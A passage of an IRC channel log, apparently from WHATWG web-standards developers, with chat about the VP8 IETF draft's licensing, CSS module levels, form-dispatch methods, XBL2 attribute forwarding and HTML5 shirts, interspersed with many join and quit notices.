  1084. # [17:02] <annevk> http://tools.ietf.org/html/draft-bankoski-vp8-bitstream
  1085. # [17:03] * Joins: Duke___ (~duke@189.120.143.244)
  1086. # [17:03] * Quits: alkavan (~alkavan@IGLD-84-229-175-223.inter.net.il) (Quit: Ex-Chat)
  1087. # [17:04] * Joins: paul_irish (~paul_iris@c-76-21-40-62.hsd1.ca.comcast.net)
  1088. # [17:05] * Quits: lonimurar (~lonimurar@unaffiliated/lonimurar) (Ping timeout: 240 seconds)
  1089. # [17:06] <hsivonen> annevk: interesting choice of venue
  1090. # [17:07] <hsivonen> hmm. Intended status: Informational
  1091. # [17:08] <annevk> it was also submitted on Jan 6
  1092. # [17:08] <annevk> bit weird
  1093. # [17:09] <Ms2ger> This specification is made available under a Creative Commons Attribution 3.0 License [4].
  1094. # [17:09] <Ms2ger> Wait, what?
  1095. # [17:09] <annevk> I would have expected that to turn up sooner
  1096. # [17:12] <othermaciej> does the IETF let you put your choice of license on an RFC? I thought you had to assign them copyright
  1097. # [17:13] * Quits: LuigiMontanez (~Adium@enki.sunlightfoundation.com) (Ping timeout: 240 seconds)
  1098. # [17:14] <Ms2ger> "Copyright (c) 2011 IETF Trust and the persons identified as the document authors. All rights reserved." on page one, and CC-BY on page 148
  1099. # [17:14] <karlcow> http://en.wikipedia.org/wiki/Request_for_Comments#Status_.22informational.22
  1100. # [17:15] <karlcow> >An informational RFC can be nearly anything from April 1 jokes over proprietary protocols up to widely recognized essential RFCs like Domain Name System Structure and Delegation (RFC 1591).
  1101. # [17:15] <karlcow> published on January 6, so might not be a joke
  1102. # [17:15] <workmad3> ah, good old TCP/IP over Carrier Pigeon
  1103. # [17:16] <karlcow> CCTV for pigeons?
  1104. # [17:16] <othermaciej> yeah, it just seems to be a least-effort path to something that can be called a "standard"
  1105. # [17:19] * Joins: LuigiMontanez (~Adium@enki.sunlightfoundation.com)
  1106. # [17:21] * Parts: LuigiMontanez (~Adium@enki.sunlightfoundation.com)
  1107. # [17:21] * Joins: mlpug (~mlpug@a88-115-171-217.elisa-laajakaista.fi)
  1108. # [17:22] * Quits: davidhund (~davidhund@78-27-27-74.dsl.alice.nl) (Quit: davidhund)
  1109. # [17:22] * Quits: plomlompom (~plomlompo@i59F6C26C.versanet.de) (Ping timeout: 276 seconds)
  1110. # [17:23] * Joins: sethladd (~sethladd@nat/google/x-bqhvbvwcaiezzsoq)
  1111. # [17:24] * Quits: arminbw (~armin@dhcp090.iguw.tuwien.ac.at) (Quit: arminbw)
  1112. # [17:26] * Joins: MikeSmith_ (~MikeSmith@EM114-48-59-11.pool.e-mobile.ne.jp)
  1113. # [17:28] * Quits: MikeSmith (~MikeSmith@EM111-188-93-219.pool.e-mobile.ne.jp) (Ping timeout: 272 seconds)
  1114. # [17:28] * bga_ is now known as bga_|away
  1115. # [17:29] * MikeSmith_ is now known as MikeSmith
  1116. # [17:29] * Joins: plomlompom (~plomlompo@88.130.186.157)
  1117. # [17:35] * Quits: Maurice (~ano@a80-101-46-164.adsl.xs4all.nl) (Quit: Disconnected...)
  1118. # [17:37] * Joins: MAMPTyro (~nooywy@61.sub-75-197-170.myvzw.com)
  1119. # [17:38] * Joins: webben (~benjamin@173-203-84-17.static.cloud-ips.com)
  1120. # [17:44] * Quits: franksalim__ (~frank@108-65-76-174.lightspeed.sntcca.sbcglobal.net) (Read error: Connection reset by peer)
  1121. # [17:44] * Quits: jacobolus (~jacobolus@fw-1-user-net-flrs.cictr.com) (Remote host closed the connection)
  1122. # [17:44] * matjas is now known as matjaspaghetti
  1123. # [17:44] * Joins: jacobolus (~jacobolus@beaker.cictr.com)
  1124. # [17:44] * Joins: franksalim__ (~frank@99-123-6-19.lightspeed.sntcca.sbcglobal.net)
  1125. # [17:45] * Joins: dglazkov (d8ef2d04@gateway/web/freenode/ip.216.239.45.4)
  1126. # [17:46] * Quits: othermaciej (~mjs@67.218.106.166) (Quit: othermaciej)
  1127. # [17:49] * Joins: thiessenp (~thiessenp@ip4da8062e.direct-adsl.nl)
  1128. # [17:51] * Quits: sethladd (~sethladd@nat/google/x-bqhvbvwcaiezzsoq) (Quit: sethladd)
  1129. # [17:51] * Quits: Lachy (~Lachlan@pat-tdc.opera.com) (Quit: This computer has gone to sleep)
  1130. # [17:52] * Joins: mdelaney (~mdelaney@c-69-181-26-199.hsd1.ca.comcast.net)
  1131. # [17:52] * Joins: othermaciej (~mjs@17.246.17.13)
  1132. # [17:54] * Joins: mpt (~mpt@canonical/mpt)
  1133. # [17:55] * Quits: paul_irish (~paul_iris@c-76-21-40-62.hsd1.ca.comcast.net) (Remote host closed the connection)
  1134. # [17:59] * Parts: MAMPTyro (~nooywy@61.sub-75-197-170.myvzw.com)
  1135. # [18:02] * Joins: sethladd (~sethladd@nat/google/x-epoejjeziystnghk)
  1136. # [18:02] * Joins: paul_irish (~paul_iris@67.218.109.85)
  1137. # [18:02] * bga_|away is now known as bga_
  1138. # [18:04] * Joins: Geophage (~Geophage@pool-173-77-99-222.nycmny.east.verizon.net)
  1139. # [18:09] * Joins: justn (justin@vm.efnetplo.com)
  1140. # [18:09] * Quits: asmodai (asmodai@dhammapada.xs4all.nl) (Read error: Connection reset by peer)
  1141. # [18:09] * Joins: asmodai (asmodai@dhammapada.xs4all.nl)
  1142. # [18:15] * Quits: pesla (~pesla@188.202.125.121) (Remote host closed the connection)
  1143. # [18:17] * Quits: realityking (~realityki@f049233099.adsl.alicedsl.de) (Quit: realityking)
  1144. # [18:29] * Joins: Lachy (~Lachlan@cm-84.215.59.50.getinternet.no)
  1145. # [18:29] * Quits: charlvn (~charlvn@41.0.48.93) (Ping timeout: 276 seconds)
  1146. # [18:31] <paul_irish> what makes a css module be at Level 3?
  1147. # [18:32] <Hixie> Philip`: zcorpan points out https://github.com/benschwarz/developers.whatwg.org/issues#issue/7 also applies to the spec splitter we use for the main spec
  1148. # [18:32] <TabAtkins> paul_irish: Every module published since 2.1 is at level 3, unless it's an update to one we've already closed on.
  1149. # [18:33] <TabAtkins> Like B&B 4, which is in our version control.
  1150. # [18:33] * Quits: sethladd (~sethladd@nat/google/x-epoejjeziystnghk) (Quit: sethladd)
  1151. # [18:33] <Ms2ger> Go and publish a FPWD
  1152. # [18:33] <paul_irish> if a new spec was started today.. would it start at 4?
  1153. # [18:33] <Ms2ger> No
  1154. # [18:33] <TabAtkins> No.
  1155. # [18:34] <paul_irish> When will that happen?
  1156. # [18:34] <TabAtkins> I have to go look up the email where we decided policy, but if we publish something new now, we don't number it at all.
  1157. # [18:34] <paul_irish> ah. :) ok
  1158. # [18:34] <paul_irish> I'm curious if the "CSS3" exists.
  1159. # [18:34] <paul_irish> I'm curious if "CSS3" exists.
  1160. # [18:35] * Joins: sethladd (~sethladd@nat/google/x-socpusnwqnfjmxsw)
  1161. # [18:35] <TabAtkins> No, "CSS3" is a marketing term.
  1162. # [18:35] <paul_irish> seems like a collection of modules that are at level 3 right now, but.. ..
  1163. # [18:35] <TabAtkins> And has been for longer than "HTML5" has.
  1164. # [18:36] <paul_irish> groovy. thx
  1165. # [18:36] <TabAtkins> CSS still does versioning, but only on the module level. Overall, CSS is unversioned, except insofar as there is 2.1, and everything after it.
  1166. # [18:37] <paul_irish> k
  1167. # [18:37] * Joins: inkbase (~Inkbase@S0106002312f9bea2.vc.shawcable.net)
  1168. # [18:37] * Quits: inkbase (~Inkbase@S0106002312f9bea2.vc.shawcable.net) (Client Quit)
  1169. # [18:38] <SlexAxton> paul_irish: TabAtkins - don't you guys sit next to eachother?
  1170. # [18:38] <annevk> those are levels
  1171. # [18:38] <paul_irish> not when i'm commuting :)
  1172. # [18:38] <annevk> not versions...
  1173. # [18:38] <TabAtkins> SlexAxton: Also, he's further down the floor.
  1174. # [18:38] <SlexAxton> im just joshin' - back to work.
  1175. # [18:38] <TabAtkins> annevk: Sure, whatever.
  1176. # [18:39] * Joins: dave_levin (~dave_levi@nat/google/x-srdbkqmmllfafprb)
  1177. # [18:39] <paul_irish> annevk: is that distinction important?
  1178. # [18:39] <TabAtkins> annevk: Dunno what the disction is, as parts of CSS2.1 are obsoleted by CSS3 modules.
  1179. # [18:39] * Joins: inkbase (~Inkbase@S0106002312f9bea2.vc.shawcable.net)
  1180. # [18:39] <TabAtkins> And the plan is to eventually obsolete the whole thing.
  1181. # [18:39] <TabAtkins> Once someone can be arsed to write Syntax and Box Model.
  1182. # [18:41] * Joins: charlvn (~charlvn@41.0.48.93)
  1183. # [18:42] <Ms2ger> Will probably happen before 2.1 is a rec
  1184. # [18:42] <jgraham> Versions somewhat implies "incompatible". I think the idea with levels is that you can only level-up i.e. get new features that you didn't have before
  1185. # [18:42] <jgraham> Or at least implies "mechanism of marking which version you are using"
  1186. # [18:42] <TabAtkins> I don't know if that's the meaning everyone would draw from the terms, but sure, barring minor inconsistencies, that's true.
  1187. # [18:42] <annevk> the idea is that with levels the difference is only the feature set
  1188. # [18:42] <Ms2ger> CSS needs doctypes
  1189. # [18:42] <annevk> not the functionality of the features
  1190. # [18:43] <annevk> i.e. once #fff is introduced it will mean white from that point on and nothing else
  1191. # [18:43] <annevk> no future level can change that
  1192. # [18:43] <annevk> but it does not matter too much either way
  1193. # [18:43] <TabAtkins> Unless we determine it was a really bad idea and no browser does it.
  1194. # [18:43] <annevk> then it would not end up in a REC anyway
  1195. # [18:44] <annevk> the "process" deals with that already
  1196. # [18:44] <TabAtkins> But yeah, whatever. CSS is level-less, except for the 2.1/everything after distinction. Individual modules are still levelled. Same diff.
  1197. # [18:44] * Joins: Frippe (~Frippe@238.218.216.81.static.hud.siw.siwnet.net)
  1198. # [18:44] * Quits: inkbase (~Inkbase@S0106002312f9bea2.vc.shawcable.net) (Quit: inkbase)
  1199. # [18:45] <paul_irish> ah. i follow. yeah that's a worthwhile distinction
  1200. # [18:47] * Quits: dglazkov (d8ef2d04@gateway/web/freenode/ip.216.239.45.4) (Ping timeout: 265 seconds)
  1201. # [18:53] * Quits: anttio (~anttio@huittinen.of.frantic.com) (Ping timeout: 265 seconds)
  1202. # [18:54] * Joins: erlehmann (~erlehmann@p4FC11E58.dip.t-dialin.net)
  1203. # [18:54] <volkmar_> i was wondering, what are the use cases of dispatchForm[Input|Change]?
  1204. # [18:55] * Joins: midgard (~midgard@p54B8B4DE.dip.t-dialin.net)
  1205. # [18:56] <annevk> there's an example in the spec
  1206. # [18:57] <volkmar_> oh, for change, indeed
  1207. # [18:57] <volkmar_> i've only checked for the other
  1208. # [18:57] * Quits: Duke___ (~duke@189.120.143.244) (Remote host closed the connection)
  1209. # [18:58] <annevk> I am sort of fine with getting rid of them, though reportedly they were not that hard to implement and Hixie thinks they make authoring quite a bit easier
  1210. # [18:58] <annevk> if you do not want to rely on libraries
  1211. # [18:58] <annevk> but maybe that is mostly about formchange and forminput
  1212. # [18:59] <annevk> events
  1213. # [18:59] <volkmar_> annevk: yes, it's not hard to implement dispatchFormInput if you have formInput given that, internally, it will call something like dispatchFormInput
  1214. # [19:00] * Quits: Kaelig (~Kaelig@mal35-2-82-228-177-211.fbx.proxad.net) (Remote host closed the connection)
  1215. # [19:00] <volkmar_> hmm, the example in the spec doesn't convince me it's useful
  1216. # [19:00] <annevk> volkmar_, you could look for a resolved bug in the W3C database
  1217. # [19:00] <annevk> volkmar_, someone asked for removal and Hixie declined
  1218. # [19:01] <annevk> no idea which number and I really have to run
  1219. # [19:01] <volkmar_> annevk: someone ask for removal for forminput and formchange
  1220. # [19:01] <volkmar_> annevk: i will check if that was the case for dispatch*
  1221. # [19:01] <volkmar_> thanks ;)
  1222. # [19:02] <Hixie> mostly the use case for dispatch* is to make it easier to just write the logic once in an event handler and make sure it triggers in all the various cases it could trigger
  1223. # [19:02] <Hixie> but certainly the use cases for dispatch* are less than the use cases for the events themselves
  1224. # [19:06] * Quits: jacobolus (~jacobolus@beaker.cictr.com) (Remote host closed the connection)
  1225. # [19:08] * Quits: paul_irish (~paul_iris@67.218.109.85) (Remote host closed the connection)
  1226. # [19:08] * Quits: david_carlisle (~davidc@62.231.145.254) (Ping timeout: 240 seconds)
  1227. # [19:10] * Quits: workmad3 (~workmad3@cspool123.cs.man.ac.uk) (Remote host closed the connection)
  1228. # [19:10] * bga_ is now known as bga_|away
  1229. # [19:12] <erlehmann> http://qdb.us/305324
  1230. # [19:12] <erlehmann> :D
  1231. # [19:12] * Quits: mhausenblas (~mhausenbl@wg1-nat.fwgal01.deri.ie) (Quit: mhausenblas)
  1232. # [19:13] * Joins: paul_irish (~paul_iris@nat/google/x-cegcedygywezusfq)
  1233. # [19:14] <Hixie> erlehmann: hey if someone can figure out the security model...
  1234. # [19:18] <Philip`> Hixie: Get a browser that lets you hit the space key at the bottom of the page to go to the next :-)
  1235. # [19:18] <Hixie> [24~:-P
  1236. # [19:18] <Hixie> er
  1237. # [19:18] <Hixie> :-P
  1238. # [19:21] * Joins: f1lt3r_bocoup (~f1lt3r@64.119.153.2)
  1239. # [19:26] * Quits: ttepasse (~ttepasse@ip-109-90-161-169.unitymediagroup.de) (Read error: Connection timed out)
  1240. # [19:26] * Joins: inkbase (~Inkbase@nat/ibm/x-bfyomjfmvtwsrsty)
  1241. # [19:30] <karlcow> is it only me?
  1242. # [19:30] <karlcow> http://www.xanthir.com/talks/2011-01-12/slides.html TabAtkins slides do not work with Opera?
  1243. # [19:31] <Ms2ger> Only Chrome
  1244. # [19:31] <nimbupani> :D
  1245. # [19:32] * Joins: chriseppstein (~chris@99-34-231-235.lightspeed.sntcca.sbcglobal.net)
  1246. # [19:36] <karlcow> doh!
  1247. # [19:38] * Joins: foolip_ (~foolip@h182n6-g-hn-a11.ias.bredband.telia.com)
  1248. # [19:39] * Quits: mamund (mamund@frost.nullshells.net) (Ping timeout: 276 seconds)
  1249. # [19:39] * Joins: mamund_ (mamund@frost.nullshells.net)
  1250. # [19:45] * Quits: mamund_ (mamund@frost.nullshells.net) (Ping timeout: 255 seconds)
  1251. # [19:46] * Quits: ben_c (~ben_c@cpc3-brig17-2-0-cust939.3-3.cable.virginmedia.com) (Quit: Leaving.)
  1252. # [19:46] <Hixie> man, a mountain of comments
  1253. # [19:46] * Joins: mamund_ (mamund@frost.nullshells.net)
  1254. # [19:46] * Joins: Duke___ (~duke@189.120.143.244)
  1255. # [19:47] <Hixie> if anyone wants to help out with the faq, what would be really helpful right now would be to go through the recent blog comments and distill the criticisms into comments or questions we can add to http://wiki.whatwg.org/wiki/FAQ#The_WHATWG_Process
  1256. # [19:47] <Hixie> feel free to just add questions there even without answers, we can fill them in later
  1257. # [19:51] * Quits: mamund_ (mamund@frost.nullshells.net) (Ping timeout: 240 seconds)
  1258. # [19:51] * Joins: mpilgrim (~pilgrim@184.255.68.209)
  1259. # [19:52] * Joins: mamund_ (mamund@frost.nullshells.net)
  1260. # [19:54] * Joins: ap (~ap@17.203.15.167)
  1261. # [19:55] * Quits: inkbase (~Inkbase@nat/ibm/x-bfyomjfmvtwsrsty) (Quit: inkbase)
  1262. # [19:55] * Quits: erlehmann (~erlehmann@p4FC11E58.dip.t-dialin.net) (Quit: Die demokratieerhaltende Whistleblower-Organisation Krautchan freut sich immer über Spenden.)
  1263. # [19:57] * Quits: mamund_ (mamund@frost.nullshells.net) (Remote host closed the connection)
  1264. # [20:03] * Joins: mamund_ (mamund@frost.nullshells.net)
  1265. # [20:03] * Joins: danbri (~danbri@ip176-48-210-87.adsl2.static.versatel.nl)
  1266. # [20:04] * Quits: cying_ (~cying@c-24-23-135-168.hsd1.ca.comcast.net) (Quit: cying_)
  1267. # [20:04] * Joins: ben_c (~ben_c@cpc3-brig17-2-0-cust939.3-3.cable.virginmedia.com)
  1268. # [20:06] * Joins: pesla (~pesla@ip51cc03a5.speed.planet.nl)
  1269. # [20:07] * Quits: mpt (~mpt@canonical/mpt) (Ping timeout: 276 seconds)
  1270. # [20:07] * Quits: jamesr_ (~jamesr@173-164-251-190-SFBA.hfc.comcastbusiness.net) (Quit: jamesr_)
  1271. # [20:08] * Quits: mamund_ (mamund@frost.nullshells.net) (Remote host closed the connection)
  1272. # [20:08] * Joins: yoroy (~yoroy@ip46-91-210-87.adsl2.static.versatel.nl)
  1273. # [20:09] * Quits: richardschwerdtf (~RichS@32.97.110.51) (Remote host closed the connection)
  1274. # [20:12] * Parts: yoroy (~yoroy@ip46-91-210-87.adsl2.static.versatel.nl)
  1275. # [20:13] * Joins: mamund_ (mamund@frost.nullshells.net)
  1276. # [20:15] * Joins: bfrohs (~chatzilla@smtp.forewordinternal.com)
  1277. # [20:15] * Joins: dbaron (~dbaron@nat/mozilla/x-gyuynzipylevvusj)
  1278. # [20:15] * Quits: sethladd (~sethladd@nat/google/x-socpusnwqnfjmxsw) (Quit: sethladd)
  1279. # [20:17] <midgard> will there be other shirts in the future? http://html5shirt.com/ because the shirts which are offered are very very ugly :-(
  1280. # [20:18] * Joins: sethladd (~sethladd@nat/google/x-xtlrkoimvumybxsv)
  1281. # [20:19] <Hixie> if anyone wants to represent HTML at XML Prague (in March, I believe), contact Jim Fuller <jim.fuller@xmlprague.cz> and let him know I sent you
  1282. # [20:19] * Joins: exp (~zAyghip8@cpc2-ely02-0-0-cust338.5-1.cable.virginmedia.com)
  1283. # [20:19] * Quits: exp (~zAyghip8@cpc2-ely02-0-0-cust338.5-1.cable.virginmedia.com) (Client Quit)
  1284. # [20:19] <Hixie> prague is a really beautiful city, i'd highly recommend it
  1285. # [20:20] * Quits: bfrohs (~chatzilla@smtp.forewordinternal.com) (Remote host closed the connection)
  1286. # [20:20] * Joins: bfrohs (~chatzilla@smtp.forewordinternal.com)
  1287. # [20:22] * Quits: mamund_ (mamund@frost.nullshells.net) (Ping timeout: 246 seconds)
  1288. # [20:23] * Joins: mamund_ (mamund@frost.nullshells.net)
  1289. # [20:23] * bga_|away is now known as bga_
  1290. # [20:23] * Quits: bfrohs (~chatzilla@smtp.forewordinternal.com) (Client Quit)
  1291. # [20:25] * Joins: ojan (~ojan@nat/google/x-vfyzilxgwdlbvija)
  1292. # [20:27] <mpilgrim> if someone designs a kickass HTML(!5) shirt in the next few weeks, i will wear it during my keynote at WebStock NZ
  1293. # [20:31] <Ms2ger> HTML5 is so last year
  1294. # [20:32] <Ms2ger> Or yesterday, I guess
  1295. # [20:32] * Quits: mamund_ (mamund@frost.nullshells.net) (Ping timeout: 260 seconds)
  1296. # [20:32] <paul_irish> mpilgrim: http://www.flickr.com/photos/8624599@N07/5370519387/in/set-72157625737102465/
  1297. # [20:32] * Joins: bfrohs (~bfrohs@smtp.forewordinternal.com)
  1298. # [20:33] * Joins: mamund_ (mamund@frost.nullshells.net)
  1299. # [20:33] <mpilgrim> not that one
  1300. # [20:34] <paul_irish> skeletons ♥ HTML http://www.flickr.com/photos/8624599@N07/5371130056/in/set-72157625737102465/
  1301. # [20:34] <mpilgrim> I would wear one that said "HTML5 is so last week"
  1302. # [20:35] * Joins: dglazkov (~dglazkov@nat/google/x-pogswcgqbshyijgs)
  1303. # [20:35] <dglazkov> Hixie: what's the use case for XBL2 attribute forwarding?
  1304. # [20:35] <dglazkov> I wanna document
  1305. # [20:37] * Quits: mamund_ (mamund@frost.nullshells.net) (Ping timeout: 240 seconds)
  1306. # [20:39] * Joins: mamund_ (mamund@frost.nullshells.net)
  1307. # [20:40] * Joins: jamesr_ (~jamesr@nat/google/x-lsfeoudbvsiqcaro)
  1308. # [20:41] * Quits: jamesr_ (~jamesr@nat/google/x-lsfeoudbvsiqcaro) (Client Quit)
  1309. # [20:41] <Ms2ger> http://blog.whatwg.org/html-is-the-new-html5#comment-42365
  1310. # [20:43] * Quits: mamund_ (mamund@frost.nullshells.net) (Ping timeout: 240 seconds)
  1311. # [20:44] * Joins: mamund_ (mamund@frost.nullshells.net)
  1312. # [20:45] * Quits: mokush (~quassel@188.24.42.150) (Ping timeout: 276 seconds)
  1313. # [20:46] * Joins: jamesr_ (~jamesr@nat/google/x-dxzumukcwdzanyfx)
  1314. # [20:46] * Joins: mokush (~quassel@188.24.35.226)
  1315. # [20:48] <Hixie> dglazkov: e.g. if you wrap a <select> and want to be able to disable the control, you could forward 'disabled'
  1316. # [20:49] <payman> 8
  1317. # [20:49] * Quits: ap (~ap@17.203.15.167) (Read error: Connection reset by peer)
  1318. # [20:49] * Joins: ap (~ap@17.203.15.167)
  1319. # [20:49] <payman> sorry, wrong window.
  1320. # [20:52] <dglazkov> Hixie: thanks!
  1321. # [20:53] * Quits: mamund_ (mamund@frost.nullshells.net) (Ping timeout: 276 seconds)
  1322. # [20:53] * Joins: mamund_ (mamund@frost.nullshells.net)
  1323. # [20:55] * Joins: jwalden (~waldo@nat/mozilla/x-rnxaoajutcoguaks)
  1324. # [20:56] <dglazkov> Hixie: I wonder if state changes should be handled similarly (activate/focus/select)
  1325. # [20:56] * Quits: jeremyselier (~Jeremy@pro75-4-82-238-200-10.fbx.proxad.net) (Quit: jeremyselier)
  1326. # [20:56] <Hixie> another example would be forwarding a title="" attribute to get a tooltip somewhere, or value="" to get a default value somewhere, or lang="" to make sure the content is correctly labeled, etc
  1327. # [20:57] * Joins: jacobolus (~jacobolus@beaker.cictr.com)
  1328. # [20:57] <Hixie> when doing xbl2 i wanted something that could invoke script to map these attributes intelligently, but couldn't work out a good way to do it
  1329. # [20:57] <Hixie> which is why the spec has the special syntax for various clever things, like how to forward urls
  1330. # [20:58] <dglazkov> bz had given me lots of code to chew on.
  1331. # [21:00] * Joins: workmad3 (~workmad3@cpc3-bagu10-0-0-cust651.1-3.cable.virginmedia.com)
  1332. # [21:00] * matjaspaghetti is now known as matjas
  1333. # [21:00] * Quits: mpilgrim (~pilgrim@184.255.68.209) (Ping timeout: 255 seconds)
  1334. # [21:02] * Quits: workmad3 (~workmad3@cpc3-bagu10-0-0-cust651.1-3.cable.virginmedia.com) (Remote host closed the connection)
  1335. # [21:03] * Quits: mamund_ (mamund@frost.nullshells.net) (Ping timeout: 264 seconds)
  1336. # [21:04] * Quits: nimbupani (~Adium@c-24-22-131-46.hsd1.wa.comcast.net) (Quit: Leaving.)
  1337. # [21:04] * Parts: bfrohs (~bfrohs@smtp.forewordinternal.com)
  1338. # [21:04] * Joins: mamund_ (~mamund@frost.nullshells.net)
  1339. # [21:05] * Joins: workmad3 (~workmad3@cpc3-bagu10-0-0-cust651.1-3.cable.virginmedia.com)
  1340. # [21:08] * Quits: mamund_ (~mamund@frost.nullshells.net) (Ping timeout: 246 seconds)
  1341. # [21:09] * Joins: mamund_ (mamund@frost.nullshells.net)
  1342. # [21:10] <dglazkov> Hixie: we need better syntax
  1343. # [21:11] <dglazkov> attributes="title=title" hurts my eyes
  1344. # [21:11] <dglazkov> oh, it's just attributes="title"
  1345. # [21:11] <dglazkov> but still
  1346. # [21:11] * dglazkov quits whining and gets back to use cases
  1347. # [21:12] * Joins: mpt (~mpt@canonical/mpt)
  1348. # [21:13] * Joins: sicking (~chatzilla@nat/mozilla/x-jyqnpzulybtgnmfi)
  1349. # [21:14] * Joins: bckenny (~bckenny@nat/google/x-esatuwgszzynleve)
  1350. # [21:16] * Quits: mamund_ (mamund@frost.nullshells.net) (Ping timeout: 240 seconds)
  1351. # [21:16] * Quits: workmad3 (~workmad3@cpc3-bagu10-0-0-cust651.1-3.cable.virginmedia.com) (Remote host closed the connection)
  1352. # [21:17] <Hixie> dglazkov: yeah, i dunno what would be better though
  1353. # [21:20] * Quits: smaug____ (~chatzilla@dsl-hkibrasgw4-fe41dc00-67.dhcp.inet.fi) (Ping timeout: 276 seconds)
  1354. # [21:28] * Joins: Maurice (copyman@5ED573FA.cm-7-6b.dynamic.ziggo.nl)
  1355. # [21:28] * Quits: sethladd (~sethladd@nat/google/x-xtlrkoimvumybxsv) (Ping timeout: 240 seconds)
  1356. # [21:28] * Joins: mamund_ (mamund@frost.nullshells.net)
  1357. # [21:29] * Quits: Xano (~bart@524BF837.cm-4-4d.dynamic.ziggo.nl) (Quit: Kthxbye!)
  1358. # [21:32] <Ms2ger> TabAtkins, have you seen http://w3cindia.in/cssdocument.html already? It has something about lists ;)
  1359. # [21:33] * Joins: Bass10 (~Bass10@c-76-113-194-7.hsd1.mn.comcast.net)
  1360. # [21:34] * Quits: Bass10 (~Bass10@c-76-113-194-7.hsd1.mn.comcast.net) (Max SendQ exceeded)
  1361. # [21:35] * Quits: plainhao (~plainhao@208.75.85.237) (Quit: plainhao)
  1362. # [21:36] * Quits: mamund_ (mamund@frost.nullshells.net) (Ping timeout: 246 seconds)
  1363. # [21:36] * Quits: mokush (~quassel@188.24.35.226) (Ping timeout: 240 seconds)
  1364. # [21:37] * Joins: mamund_ (mamund@frost.nullshells.net)
  1365. # [21:39] * Joins: sephr (~Eli@c-98-235-63-240.hsd1.pa.comcast.net)
  1366. # [21:39] * Joins: bfrohs (~bfrohs@smtp.forewordinternal.com)
  1367. # [21:39] * Joins: benschwarz (~ben@59.167.185.148)
  1368. # [21:42] * Quits: midgard (~midgard@p54B8B4DE.dip.t-dialin.net) (Ping timeout: 255 seconds)
  1369. # [21:43] * Quits: mamund_ (mamund@frost.nullshells.net) (Ping timeout: 240 seconds)
  1370. # [21:44] * Joins: mamund_ (mamund@frost.nullshells.net)
  1371. # [21:45] * Joins: sethladd (~sethladd@nat/google/x-xfydpyqhrzcljpgj)
  1372. # [21:52] * Quits: mlpug (~mlpug@a88-115-171-217.elisa-laajakaista.fi) (Remote host closed the connection)
  1373. # [22:01] * Quits: davidb_ (~davidb@66.207.206.180) (Quit: davidb_)
  1374. # [22:10] * Quits: sethladd (~sethladd@nat/google/x-xfydpyqhrzcljpgj) (Quit: sethladd)
  1375. # [22:11] * Quits: Duke___ (~duke@189.120.143.244) (Remote host closed the connection)
  1376. # [22:11] * Joins: ment (thement@ibawizard.net)
  1377. # [22:13] * Joins: sethladd (~sethladd@nat/google/x-krqwstjppbrscqqp)
  1378. # [22:14] * Quits: pesla (~pesla@ip51cc03a5.speed.planet.nl) (Quit: Computer has gone to sleep.)
  1379. # [22:20] * Joins: schalkn (c4d2f88f@gateway/web/freenode/ip.196.210.248.143)
  1380. # [22:21] <schalkn> Hi there everyone
  1381. # [22:21] <schalkn> Have you seen the HTML5 shirts on sale?
  1382. # [22:21] * Quits: Ms2ger (~Ms2ger@91.181.194.130) (Quit: nn)
  1383. # [22:22] <schalkn> Are the funds definitely going to directly to the development of the test suite?
  1384. # [22:29] * Joins: sethladd_ (~sethladd@nat/google/x-qgizotxuqyyxixqi)
  1385. # [22:29] * Quits: sethladd_ (~sethladd@nat/google/x-qgizotxuqyyxixqi) (Remote host closed the connection)
  1386. # [22:30] * Joins: sethladd_ (~sethladd@nat/google/x-owxyhjgfvpcehtff)
  1387. # [22:31] <dglazkov> abarth: yt?
  1388. # [22:31] * Quits: kor (~kor@ip146-53-210-87.adsl2.static.versatel.nl) (Quit: kor)
  1389. # [22:31] <dglazkov> abarth: can you pls expand here: http://wiki.whatwg.org/wiki/Component_Model_Use_Cases#Using_Shadow_DOM_Boundary_for_Isolation?
  1390. # [22:33] <benschwarz> Time to hit the office. Laters
  1391. # [22:33] * Quits: sethladd (~sethladd@nat/google/x-krqwstjppbrscqqp) (Ping timeout: 276 seconds)
  1392. # [22:33] * sethladd_ is now known as sethladd
  1393. # [22:34] * Joins: virtuelv (~virtuelv_@20.74.9.46.customer.cdi.no)
  1394. # [22:35] * Quits: schalkn (c4d2f88f@gateway/web/freenode/ip.196.210.248.143) (Quit: Page closed)
  1395. # [22:38] <abarth> dglazkov: sure
  1396. # [22:40] * Joins: mloki (~mloki__@x1-6-00-10-a7-28-f3-47.k765.webspeed.dk)
  1397. # [22:41] <dglazkov> yay!
  1398. # [22:41] * Joins: Kaelig (~Kaelig@mal35-2-82-228-177-211.fbx.proxad.net)
  1399. # [22:43] * Joins: workmad3 (~workmad3@cpc3-bagu10-0-0-cust651.1-3.cable.virginmedia.com)
  1400. # [22:44] * Joins: nimbupani (~Adium@c-24-22-131-46.hsd1.wa.comcast.net)
  1401. # [22:47] * Quits: ROBOd (~robod@109.96.237.140) (Quit: .)
  1402. # [22:48] * Joins: seventh (seventh@199.48.243.56)
  1403. # [22:53] * Joins: gkelly (~gkelly@gkel.ly)
  1404. # [22:53] * Joins: realityking (~realityki@f049233099.adsl.alicedsl.de)
  1405. # [22:54] * Quits: realityking (~realityki@f049233099.adsl.alicedsl.de) (Read error: Connection reset by peer)
  1406. # [22:54] * Joins: realityking (~realityki@f049233099.adsl.alicedsl.de)
  1407. # [22:56] * Quits: chriseppstein (~chris@99-34-231-235.lightspeed.sntcca.sbcglobal.net) (Read error: Connection reset by peer)
  1408. # [22:56] * Joins: chriseppstein (~chris@99-34-231-235.lightspeed.sntcca.sbcglobal.net)
  1409. # [22:59] * shepazu is now known as fake_paul_irish
  1410. # [22:59] * fake_paul_irish is now known as shepazu
  1411. # [23:04] * Quits: miketaylr (~miketaylr@206.217.92.186) (Quit: Linkinus is updating...)
  1412. # [23:04] * Joins: miketaylr (~miketaylr@206.217.92.186)
  1413. # [23:04] * Quits: miketaylr (~miketaylr@206.217.92.186) (Client Quit)
  1414. # [23:05] <jgraham> hmm, it seems that IETF have a different view of "consensus" than I do
  1415. # [23:05] * Quits: franksalim__ (~frank@99-123-6-19.lightspeed.sntcca.sbcglobal.net) (Read error: Connection reset by peer)
  1416. # [23:06] * Joins: franksalim__ (~frank@108-65-76-174.lightspeed.sntcca.sbcglobal.net)
  1417. # [23:08] * Joins: micheil (~micheil@114.72.199.94)
  1418. # [23:09] * Quits: franksalim__ (~frank@108-65-76-174.lightspeed.sntcca.sbcglobal.net) (Read error: Connection reset by peer)
  1419. # [23:09] * Quits: micheil (~micheil@114.72.199.94) (Client Quit)
